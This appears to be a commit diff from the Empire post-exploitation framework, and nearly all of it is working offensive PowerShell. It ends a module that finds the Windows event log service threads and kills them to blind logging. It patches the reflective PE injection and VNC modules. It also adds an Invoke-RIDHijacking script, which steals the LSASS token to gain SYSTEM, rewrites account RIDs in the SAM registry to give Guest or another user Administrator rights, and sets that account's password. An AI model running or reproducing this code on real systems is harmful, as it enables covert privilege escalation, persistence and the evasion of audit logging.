719 (func psapi GetModuleBaseNameW ([UInt32]) @([IntPtr], [IntPtr], [Text.StringBuilder], [Int32]) -Charset Unicode -SetLastError),
720 (func psapi GetModuleFileNameExW ([UInt32]) @([IntPtr], [IntPtr], [Text.StringBuilder], [Int32]) -Charset Unicode -SetLastError),
721 (func psapi GetMappedFileNameW ([UInt32]) @([IntPtr], [IntPtr], [Text.StringBuilder], [Int32]) -Charset Unicode -SetLastError),
722
723 #DbgHelp
724 (func dbghelp SymInitialize ([Bool]) @([IntPtr], [String], [Bool]) -SetLastError),
725 (func dbghelp SymCleanup ([Bool]) @([IntPtr]) -SetLastError),
726 (func dbghelp SymFunctionTableAccess64 ([IntPtr]) @([IntPtr], [UInt64]) -SetLastError),
727 (func dbghelp SymGetModuleBase64 ([UInt64]) @([IntPtr], [UInt64]) -SetLastError),
728 (func dbghelp SymGetSymFromAddr64 ([Bool]) @([IntPtr], [UInt64], [UInt64], [IntPtr]) -SetLastError),
729 (func dbghelp SymLoadModuleEx ([UInt64]) @([IntPtr], [IntPtr], [String], [String], [IntPtr], [Int32], [IntPtr], [Int32]) -SetLastError),
730 (func dbghelp StackWalk64 ([Bool]) @([UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [MulticastDelegate], [MulticastDelegate], [MulticastDelegate], [MulticastDelegate]))
731 )
732 $Types = $FunctionDefinitions | Add-Win32Type -Module $ModuleBuilder -Namespace 'Win32'
733 $Global:Kernel32 = $Types['kernel32']
734 $Global:Psapi = $Types['psapi']
735 $Global:Dbghelp = $Types['dbghelp']
736
737 function local:Trace-Thread {
738 Param (
739 [Parameter()]
740 [IntPtr]$ProcessHandle,
741
742 [Parameter()]
743 [Int]$ThreadId,
744
745 [Parameter()]
746 [Int]$ProcessId
747 )
748
749 # Get Thread handle
750 if (($hThread = $Kernel32::OpenThread(0x1F03FF, $false, $ThreadId)) -eq 0) {
751 Write-Error "Unable to open handle for thread $ThreadId."
752 return
753 }
754
755 #region HELPERS
756 function local:Get-SystemInfo {
757 $SystemInfo = [Activator]::CreateInstance($SYSTEM_INFO)
758 [void]$Kernel32::GetSystemInfo([ref]$SystemInfo)
759
760 Write-Output -InputObject $SystemInfo
761 }
762 function local:Import-ModuleSymbols {
763 Param (
764 [Parameter(Mandatory = $true)]
765 [IntPtr]$ProcessHandle
766 )
767
768 #Initialize parameters for EPM
769 $cbNeeded = 0
770 if (!$Psapi::EnumProcessModulesEx($ProcessHandle, $null, 0, [ref]$cbNeeded, 3)) {
771 Write-Error 'Failed to get buffer size for module handles.'
772 return
773 }
774
775 $ArraySize = $cbNeeded / [IntPtr]::Size
776 $hModules = New-Object -TypeName IntPtr[] -ArgumentList $ArraySize
777
778 $cb = $cbNeeded
779 if (!$Psapi::EnumProcessModulesEx($ProcessHandle, $hModules, $cb, [ref]$cbNeeded, 3)) {
780 Write-Error 'Failed to get module handles for process.'
781 return
782 }
783 for ($i = 0; $i -lt $ArraySize; $i++)
784 {
785 $ModInfo = [Activator]::CreateInstance($MODULE_INFO)
786 $lpFileName = New-Object Text.StringBuilder(256)
787 $lpModuleBaseName = New-Object Text.StringBuilder(32)
788
789 if (!$Psapi::GetModuleFileNameExW($ProcessHandle, $hModules[$i], $lpFileName, $lpFileName.Capacity)) {
790 Write-Error 'Failed to get module file name.'
791 continue
792 }
793 if (!$Psapi::GetModuleBaseNameW($ProcessHandle, $hModules[$i], $lpModuleBaseName, $lpModuleBaseName.Capacity)) {
794 Write-Error "Failed to get module base name for $($lpFileName.ToString())."
795 continue
796 }
797 if (!$Psapi::GetModuleInformation($ProcessHandle, $hModules[$i], [ref]$ModInfo, [Runtime.InteropServices.Marshal]::SizeOf($ModInfo))) {
798 Write-Error "Failed to get module information for module $($lpModuleBaseName.ToString())."
799 continue
800 }
801 [void]$Dbghelp::SymLoadModuleEx($ProcessHandle, [IntPtr]::Zero, $lpFileName.ToString(), $lpModuleBaseName.ToString(), $ModInfo.lpBaseOfDll, [Int32]$ModInfo.SizeOfImage, [IntPtr]::Zero, 0)
802 }
803 Remove-Variable hModules
804 }
805 function local:Convert-UIntToInt {
806 Param(
807 [Parameter(Position = 0, Mandatory = $true)]
808 [UInt64]$Value
809 )
810
811 [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
812 return ([BitConverter]::ToInt64($ValueBytes, 0))
813 }
814 function local:Initialize-Stackframe {
815 Param (
816 [Parameter(Mandatory = $true)]
817 $OffsetPC,
818
819 [Parameter(Mandatory = $true)]
820 $OffsetFrame,
821
822 [Parameter(Mandatory = $true)]
823 $OffsetStack,
824
825 [Parameter()]
826 $OffsetBStore
827 )
828
829 $StackFrame = [Activator]::CreateInstance($STACKFRAME64)
830 $Addr64 = [Activator]::CreateInstance($ADDRESS64)
831 $Addr64.Mode = 0x03 # Flat
832
833 $Addr64.Offset = $OffsetPC
834 $StackFrame.AddrPC = $Addr64
835
836 $Addr64.Offset = $OffsetFrame
837 $StackFrame.AddrFrame = $Addr64
838
839 $Addr64.Offset = $OffsetStack
840 $StackFrame.AddrStack = $Addr64
841
842 $Addr64.Offset = $OffsetBStore
843 $StackFrame.AddrBStore = $Addr64
844
845 Write-Output -InputObject $StackFrame
846 }
847 function local:Get-SymbolFromAddress {
848 Param (
849 [Parameter(Mandatory = $true)]
850 [IntPtr]$ProcessHandle,
851
852 [Parameter(Mandatory = $true)]
853 $Address
854 )
855
856 # Initialize params for SymGetSymFromAddr64
857 $Symbol = [Activator]::CreateInstance($IMAGEHLP_SYMBOLW64)
858 $Symbol.SizeOfStruct = [Runtime.InteropServices.Marshal]::SizeOf($Symbol)
859 $Symbol.MaxNameLength = 32
860
861 $lpSymbol = [Runtime.InteropServices.Marshal]::AllocHGlobal($Symbol.SizeOfStruct)
862 [Runtime.InteropServices.Marshal]::StructureToPtr($Symbol, $lpSymbol, $false)
863
864 [void]$Dbghelp::SymGetSymFromAddr64($ProcessHandle, $Address, 0, $lpSymbol)
865
866 $Symbol = [Runtime.InteropServices.Marshal]::PtrToStructure($lpSymbol, [Type]$IMAGEHLP_SYMBOLW64)
867 [Runtime.InteropServices.Marshal]::FreeHGlobal($lpSymbol)
868
869 Write-Output -InputObject $Symbol
870 }
871 #endregion HELPERS
872
873 $SymFunctionTableAccess64Delegate = Get-DelegateType @([IntPtr], [UInt64]) ([IntPtr])
874 $Action = {
875 Param([IntPtr]$ProcessHandle, [UInt64]$AddrBase) $Dbghelp::SymFunctionTableAccess64($ProcessHandle, $AddrBase)
876 }
877 $FunctionTableAccess = $Action -as $SymFunctionTableAccess64Delegate
878
879 $SymGetModuleBase64Delegate = Get-DelegateType @([IntPtr], [UInt64]) ([UInt64])
880 $Action = {
881 Param([IntPtr]$ProcessHandle, [UInt64]$Address) $Dbghelp::SymGetModuleBase64($ProcessHandle, $Address)
882 }
883 $GetModuleBase = $Action -as $SymGetModuleBase64Delegate
884
885 # Initialize some things
886 $lpContextRecord = [IntPtr]::Zero
887 $StackFrame = [Activator]::CreateInstance($STACKFRAME64)
888 $ImageType = 0
889 $Wow64 = $false
890 $SystemInfo = Get-SystemInfo
891
892 # If not x86 processor, check for Wow64 (x86) process
893 if ($SystemInfo.ProcessorArchitecture -ne 0) {
894 if (!$Kernel32::IsWow64Process($ProcessHandle, [ref]$Wow64)) { Write-Error 'IsWow64Process failure.' }
895 }
896
897 if ($Wow64)
898 {
899 $ImageType = 0x014C # I386/x86
900
901 Import-ModuleSymbols -ProcessHandle $ProcessHandle
902
903 # Initialize x86 context in memory
904 $ContextRecord = [Activator]::CreateInstance($X86_CONTEXT)
905 $ContextRecord.ContextFlags = 0x1003F #All
906 $lpContextRecord = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf($ContextRecord))
907 [Runtime.InteropServices.Marshal]::StructureToPtr($ContextRecord, $lpContextRecord, $false)
908
909 if ($Kernel32::Wow64SuspendThread($hThread) -eq -1) { Write-Error "Unable to suspend thread $ThreadId." }
910 if (!$Kernel32::Wow64GetThreadContext($hThread, $lpContextRecord)) { Write-Error "Unable tof get context of thread $ThreadId." }
911
912 $ContextRecord = [Runtime.InteropServices.Marshal]::PtrToStructure($lpContextRecord, [Type]$X86_CONTEXT)
913 $StackFrame = Initialize-Stackframe $ContextRecord.Eip $ContextRecord.Esp $ContextRecord.Ebp $null
914 }
915
916 # If x86 processor
917 elseif ($SystemInfo.ProcessorArchitecture -eq 0)
918 {
919 $ImageType = 0x014C # I386/x86
920
921 Import-ModuleSymbols -ProcessHandle $ProcessHandle
922
923 # Initialize x86 context in memory
924 $ContextRecord = [Activator]::CreateInstance($X86_CONTEXT)
925 $ContextRecord.ContextFlags = 0x1003F #All
926 $lpContextRecord = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf($ContextRecord))
927 [Runtime.InteropServices.Marshal]::StructureToPtr($ContextRecord, $lpContextRecord, $false)
928
929 if ($Kernel32::SuspendThread($hThread) -eq -1) { Write-Error "Unable to suspend thread $ThreadId." }
930 if (!$Kernel32::GetThreadContext($hThread, $lpContextRecord)) { Write-Error "Unable tof get context of thread $ThreadId." }
931
932 $ContextRecord = [Runtime.InteropServices.Marshal]::PtrToStructure($lpContextRecord, [Type]$X86_CONTEXT)
933 $StackFrame = Initialize-Stackframe $ContextRecord.Eip $ContextRecord.Esp $ContextRecord.Ebp $null
934 }
935
936 # If AMD64 processor
937 elseif ($SystemInfo.ProcessorArchitecture -eq 9)
938 {
939 $ImageType = 0x8664 # AMD64, interesting that MSFT chose the hex 8664 i.e. x86_64 for this constant...
940
941 Import-ModuleSymbols -ProcessHandle $ProcessHandle
942
943 #Initialize AMD64 context in memory
944 $ContextRecord = [Activator]::CreateInstance($AMD64_CONTEXT)
945 $ContextRecord.ContextFlags = 0x10003B #All
946 $lpContextRecord = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf($ContextRecord))
947 [Runtime.InteropServices.Marshal]::StructureToPtr($ContextRecord, $lpContextRecord, $false)
948
949 if ($Kernel32::SuspendThread($hThread) -eq -1) { Write-Error "Unable to suspend thread $ThreadId." }
950 if (!$Kernel32::GetThreadContext($hThread, $lpContextRecord)) { Write-Error "Unable tof get context of thread $ThreadId." }
951
952 $ContextRecord = [Runtime.InteropServices.Marshal]::PtrToStructure($lpContextRecord, [Type]$AMD64_CONTEXT)
953 $StackFrame = Initialize-Stackframe $ContextRecord.Rip $ContextRecord.Rsp $ContextRecord.Rsp $null
954 }
955
956 #If IA64 processor
957 elseif ($SystemInfo.ProcessorArchitecture -eq 6)
958 {
959 $ImageType = 0x0200 # IA64
960
961 Import-ModuleSymbols -ProcessHandle $ProcessHandle
962
963 #Initialize IA64 context in memory
964 $ContextRecord = [Activator]::CreateInstance($IA64_CONTEXT)
965 $ContextRecord.ContextFlags = 0x8003D #All
966 $lpContextRecord = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf($ContextRecord))
967 [Runtime.InteropServices.Marshal]::StructureToPtr($ContextRecord, $lpContextRecord, $false)
968
969 if ($Kernel32::SuspendThread($hThread) -eq -1) { Write-Error "Unable to suspend thread $ThreadId." }
970 if (!$Kernel32::GetThreadContext($hThread, $lpContextRecord)) { Write-Error "Unable tof get context of thread $ThreadId." }
971
972 $ContextRecord = [Runtime.InteropServices.Marshal]::PtrToStructure($lpContextRecord, [Type]$IA64_CONTEXT)
973 $StackFrame = Initialize-Stackframe $ContextRecord.StIIP $ContextRecord.IntSp $ContextRecord.RsBSP $ContextRecord.IntSp
974 }
975 $SystemInfo = $null
976
977 # Marshal Stackframe to pointer
978 $lpStackFrame = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf($StackFrame))
979 [Runtime.InteropServices.Marshal]::StructureToPtr($StackFrame, $lpStackFrame, $false)
980
981 # Walk the Stack
982 do {
983 # Get Stackframe
984 if (!$Dbghelp::StackWalk64($ImageType, $ProcessHandle, $hThread, $lpStackFrame, $lpContextRecord, $null, $FunctionTableAccess, $GetModuleBase, $null)) {
985 Write-Error "Unable to get stackframe for thread $ThreadId."
986 }
987 $StackFrame = [Runtime.InteropServices.Marshal]::PtrToStructure($lpStackFrame, [Type]$STACKFRAME64)
988
989 $MappedFile = New-Object Text.StringBuilder(256)
990 [void]$Psapi::GetMappedFileNameW($ProcessHandle, [IntPtr](Convert-UIntToInt $StackFrame.AddrPC.Offset), $MappedFile, $MappedFile.Capacity)
991
992 $Symbol = Get-SymbolFromAddress -ProcessHandle $ProcessHandle -Address $StackFrame.AddrPC.Offset
993 $SymbolName = (([String]$Symbol.Name).Replace(' ','')).TrimEnd([Byte]0)
994
995 $Properties = @{
996 ProcessId = $ProcessId
997 ThreadId = $ThreadId
998 AddrPC = $StackFrame.AddrPC.Offset
999 AddrReturn = $StackFrame.AddrReturn.Offset
1000 Symbol = $SymbolName
1001 MappedFile = $MappedFile
1002 }
1003 New-Object -TypeName PSObject -Property $Properties
1004 } until ($StackFrame.AddrReturn.Offset -eq 0) # End of stack reached
1005
1006 # Cleanup
1007 [Runtime.InteropServices.Marshal]::FreeHGlobal($lpStackFrame)
1008 [Runtime.InteropServices.Marshal]::FreeHGlobal($lpContextRecord)
1009 if ($Kernel32::ResumeThread($hThread) -eq -1) { Write-Error "Unable to resume thread $ThreadId." }
1010 if (!$Kernel32::CloseHandle.Invoke($hThread)) { Write-Error "Unable to close handle for thread $ThreadId." }
1011 }
1012
1013
1014 $EmpireOutput += "[*] Enumerating threads of PID: $(Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId)..."
1015 foreach ($Process in (Get-Process -Id (Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId)))
1016 {
1017 if (($ProcessHandle = $Kernel32::OpenProcess(0x1F0FFF, $false, $Process.Id)) -eq 0) {
1018 Write-Error -Message "Unable to open handle for process $($Process.Id)... Moving on."
1019 continue
1020 }
1021 if (!$Dbghelp::SymInitialize($ProcessHandle, $null, $false)) {
1022 Write-Error "Unable to initialize symbol handler for process $($Process.Id).... Quitting."
1023 if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unable to close handle for process $($Process.Id)." }
1024 break
1025 }
1026
1027 $Process.Threads | ForEach-Object -Process { Trace-Thread -ProcessHandle $ProcessHandle -ThreadId $_.Id -ProcessId $Process.Id }
1028
1029 if (!$Dbghelp::SymCleanup($ProcessHandle)) { Write-Error "Unable to cleanup symbol resources for process $($Process.Id)." }
1030 if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unable to close handle for process $($Process.Id)." }
1031 [GC]::Collect()
1032 }
1033
1034
1035 }# End of ScriptBlock
1036
1037 if ($PSBoundParameters['ComputerName']) { $ReturnedObjects = Invoke-Command -ComputerName $ComputerName -ScriptBlock $RemoteScriptBlock -ArgumentList @($Name, $Id) }
1038 else { $ReturnedObjects = Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList @($Name, $Id) }
1039
1040 $eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like '*evt*'} | %{$_.ThreadId }
1041 $EmpireOutput += "[*] Parsing Event Log Service Threads..."
1042
1043 if(!($eventLogThreads)) {
1044 $EmpireOutput += "[!] There are no Event Log Service Threads, Event Log Service is not working!"
1045 $EmpireOutput += "[+] You are ready to go!"
1046 $EmpireOutput += ""
1047 }
1048 else {
1049 [array]$array = $eventLogThreads
1050
1051 for ($i = 0; $i -lt $array.Count; $i++) {
1052 $getThread = $Kernel32::OpenThread(0x0001, $false, $($array[$i]))
1053 if ($kill = $Kernel32::TerminateThread($getThread, 1)) {$EmpireOutput += "[+] Thread $($array[$i]) Succesfully Killed!"}
1054 $close = $Kernel32::CloseHandle($getThread)
1055 }
1056
1057 $EmpireOutput += ""
1058 $EmpireOutput += "[+] All done, you are ready to go!"
1059 $EmpireOutput += ""
1060 }
1061
1062
1063 [GC]::Collect()
1064 $EmpireOutput
1065 }
+3
-2
data/module_source/management/Invoke-ReflectivePEInjection.ps1 less more
10371037 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
10381038 # Get a reference to the GetModuleHandle and GetProcAddress methods
10391039 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1040 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1040 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
10411041 # Get a handle to the module specified
10421042 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
10431043 $tmpPtr = New-Object IntPtr
29452945 }
29462946
29472947 Main
2948 }⏎
2948 }
2949
+1
-1
data/module_source/management/Invoke-Vnc.ps1 less more
871871 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
872872 # Get a reference to the GetModuleHandle and GetProcAddress methods
873873 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
874 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
874 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
875875 # Get a handle to the module specified
876876 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
877877 $tmpPtr = New-Object IntPtr
+331
-0
data/module_source/persistence/Invoke-RIDHijacking.ps1 less more
0 #Requires -Version 2
1
2 function Invoke-RIDHijacking {
3
4 <#
5
6 .SYNOPSIS
7 This script will create an entry on the target by modifying some properties of an existing account.
8 It will change the account attributes by setting a Relative Identifier (RID), which should be owned
9 by one existing account on the destination machine.
10
11 Taking advantage of some Windows Local Users Management integrity issues, this module will allow to
12 authenticate with one known account credentials (like GUEST account), and access with the privileges
13 of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.
14
15 Author: Sebastian Castro @r4wd3r. E-mail: [email protected]. Twitter: @r4wd3r.
16 License: BSD 3-Clause
17
18 .DESCRIPTION
19 The RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner
20 by modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges.
21
22 .PARAMETER User
23 User account to use as the hijacker. If -UseGuest, this parameter will be ignored.
24
25 .PARAMETER Password
26 Password value to set for the hijacker account.
27
28 .PARAMETER RID
29 RID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.
30
31 .PARAMETER UseGuest
32 Set GUEST built-in account as the destination of the privileges to be hijacked.
33
34 .PARAMETER Enable
35 Enable the hijacker account via registry modification.
36
37 .EXAMPLE
38 Invoke-RIDHijacking -User alice -RID 500
39 Set Administrator privileges to alice custom user.
40
41 .EXAMPLE
42 Invoke-RIDHijacking -User alice -RID 500 -Password Password1
43 Set Administrator privileges to alice custom user and set new password for alice.
44
45 .EXAMPLE
46 Invoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable
47 Set Administrator privileges to alice custom user, set new password for alice and enable alice's account.
48
49 .EXAMPLE
50 Invoke-RIDHijacking -UseGuest -RID 500
51 Set Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.
52
53 .EXAMPLE
54 Invoke-RIDHijacking -UseGuest -RID 500 -Password Password1
55 Set Administrator privileges to Guest Account and setting new password for Guest.
56
57 .EXAMPLE
58 Invoke-RIDHijacking -UseGuest -RID 1001
59 Set custom account privileges to Guest Account. A custom local user with RID 1001 should exist.
60
61 .EXAMPLE
62 Invoke-RIDHijacking -UseGuest -RID 1001 -Password Password1
63 Set custom account privileges to Guest Account and set new password for Guest. A custom local user with
64 RID 1001 should exist.
65
66 .EXAMPLE
67 Invoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable
68 Set custom account privileges to alice custom user, set new password for alice and enable alice's account.
69 A custom local user with RID 1002 should exist.
70
71 .NOTES
72 Elevates privileges with LSASS token duplication:
73 https://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980
74 Access to local users data stored in registry based on Get-LocalUsersInfo
75 https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990
76
77
78 .LINK
79 https://csl.com.co/rid-hijacking/
80 https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html
81 https://github.com/r4wd3r/RID-Hijacking
82
83 #>
84 [CmdletBinding()] param(
85 [Parameter(Position = 0,Mandatory = $False)]
86 [string]
87 $User,
88
89 [string]
90 $Password,
91
92 [switch]
93 $UseGuest,
94
95 [ValidateRange(500,65535)]
96 [int]
97 $RID = 500,
98
99 [switch]
100 $Enable
101 )
102
103 begin {
104 # Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.
105 Write-Verbose "Checking for SYSTEM privileges"
106 if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {
107 Write-Output "[+] Process is already running as SYSTEM"
108 }
109 else {
110 try {
111 Write-Verbose "Trying to get SYSTEM privileges"
112 Enable-TSDuplicateToken
113 Write-Output "[+] Elevated to SYSTEM privileges"
114 }
115 catch {
116 throw "Administrator or SYSTEM privileges are required"
117 }
118 }
119
120 # Obtains the needed registry values for each local user
121 $localUsers = Get-UserKeys
122 $currentUser = $null
123 }
124
125 process {
126
127 # Set to currentUser the account to be used as the hijacker.
128 Write-Verbose "Checking users..."
129 if ($UseGuest) {
130 $currentUser = $localUsers | Where-Object { $_.RID -eq 501 }
131 }
132 else {
133 if ($User) {
134 $currentUser = $localUsers | Where-Object { $_.UserName -contains $User }
135 }
136 }
137
138 # Verifies if the entered account exists.
139 if ($currentUser) {
140 "[+] Found {0} account" -f ($currentUser.UserName)
141 "[+] Target account username: {0}" -f $currentUser.UserName
142 "[+] Target account RID: {0}" -f $currentUser.RID
143 }
144 else {
145 throw "User does not exists in system"
146 }
147
148 # Creates a copy of the user's F REG_BINARY with requested modifications
149 $FModified = New-Object Byte[] $currentUser.F.length
150 for ($i = 0; $i -lt $currentUser.F.length; $i++) {
151 if ($Enable -and ($i -eq 56)) {
152 $FModified[$i] = 20
153 continue
154 }
155 # Sets the new RID in the F REG_BINARY copy
156 if ($RID -and ($i -eq 48)) {
157 $hexRid = [byte[]][BitConverter]::GetBytes($RID)
158 $FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]
159 $i++
160 continue
161 }
162 $FModified[$i] = $currentUser.F[$i]
163 }
164
165 "[*] Current RID value in F for {0}: {1:x2}{2:x2}" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])
166 "[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} " -f ($currentUser.UserName,$FModified[49],$FModified[48])
167
168 # Writes changes to Registry
169 $fPath = "HKLM:\SAM\SAM\Domains\Account\Users\{0:x8}" -f $currentUser.RID
170
171 try {
172 Write-Verbose "Writing changes to registry: $fPath"
173 Set-ItemProperty -Path $fPath -Name F -Value $FModified
174 }
175 catch {
176 throw "Error writing in registry. Path: $fPath"
177 }
178
179 if ($Enable) {
180 Write-Output "[+] Account has been enabled"
181 }
182
183 if ($Password) {
184 Write-Output "[*] Setting password to user..."
185 net user $currentUser.UserName $Password
186 Write-Output "[+] Password set to $Password"
187 }
188 "[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}" -f ($currentUser.UserName,$currentUser.RID)
189 }
190 }
191
192 function Get-UserName ([byte[]]$V) {
193 if (-not $V) { return $null };
194 $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
195 $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
196 return [Text.Encoding]::Unicode.GetString($V,$offset,$len);
197 }
198
199 function Get-UserKeys {
200 Get-ChildItem HKLM:\SAM\SAM\Domains\Account\Users |
201 Where-Object { $_.PSChildName -match "^[0-9A-Fa-f]{8}$" } |
202 Add-Member AliasProperty KeyName PSChildName -Passthru |
203 Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue("V")) } -Passthru |
204 Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |
205 Add-Member ScriptProperty F { [byte[]]($this.GetValue("F")) } -Passthru |
206 Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue("F")[0x30..0x34],0) } -Passthru
207 }
208
209 function Enable-TSDuplicateToken {
210
211 $signature = @"
212 [StructLayout(LayoutKind.Sequential, Pack = 1)]
213 public struct TokPriv1Luid
214 {
215 public int Count;
216 public long Luid;
217 public int Attr;
218 }
219
220 public const int SE_PRIVILEGE_ENABLED = 0x00000002;
221 public const int TOKEN_QUERY = 0x00000008;
222 public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
223 public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
224
225 public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
226 public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
227 public const UInt32 TOKEN_DUPLICATE = 0x0002;
228 public const UInt32 TOKEN_IMPERSONATE = 0x0004;
229 public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
230 public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
231 public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
232 public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
233 public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
234 public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
235 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
236 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
237 TOKEN_ADJUST_SESSIONID);
238
239 public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
240 public const int ANYSIZE_ARRAY = 1;
241
242 [StructLayout(LayoutKind.Sequential)]
243 public struct LUID
244 {
245 public UInt32 LowPart;
246 public UInt32 HighPart;
247 }
248
249 [StructLayout(LayoutKind.Sequential)]
250 public struct LUID_AND_ATTRIBUTES {
251 public LUID Luid;
252 public UInt32 Attributes;
253 }
254
255
256 public struct TOKEN_PRIVILEGES {
257 public UInt32 PrivilegeCount;
258 [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
259 public LUID_AND_ATTRIBUTES [] Privileges;
260 }
261
262 [DllImport("advapi32.dll", SetLastError=true)]
263 public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
264 SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
265
266
267 [DllImport("advapi32.dll", SetLastError=true)]
268 [return: MarshalAs(UnmanagedType.Bool)]
269 public static extern bool SetThreadToken(
270 IntPtr PHThread,
271 IntPtr Token
272 );
273
274 [DllImport("advapi32.dll", SetLastError=true)]
275 [return: MarshalAs(UnmanagedType.Bool)]
276 public static extern bool OpenProcessToken(IntPtr ProcessHandle,
277 UInt32 DesiredAccess, out IntPtr TokenHandle);
278
279 [DllImport("advapi32.dll", SetLastError = true)]
280 public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
281
282 [DllImport("kernel32.dll", ExactSpelling = true)]
283 public static extern IntPtr GetCurrentProcess();
284
285 [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
286 public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
287 ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
288 "@
289
290 $currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())
291 if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
292 throw "Run the Command as an Administrator"
293 break
294 }
295
296 Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
297 $adjPriv = [AdjPriv.AdjPriv]
298 [long]$luid = 0
299
300 $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
301 $tokPriv1Luid.Count = 1
302 $tokPriv1Luid.Luid = $luid
303 $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
304
305 $retVal = $adjPriv::LookupPrivilegeValue($null,"SeDebugPrivilege",[ref]$tokPriv1Luid.Luid)
306
307 [IntPtr]$htoken = [IntPtr]::Zero
308 $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)
309
310
311 $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
312 $retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)
313
314 if (-not ($retVal)) {
315 [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
316 break
317 }
318
319 $process = (Get-Process -Name lsass)
320 [IntPtr]$hlsasstoken = [IntPtr]::Zero
321 $retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)
322
323 [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
324 $retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)
325
326 $retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)
327 if (-not ($retVal)) {
328 [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
329 }
330 }⏎
+3
-0
data/module_source/privesc/Get-GPPPassword.ps1 less more
148148
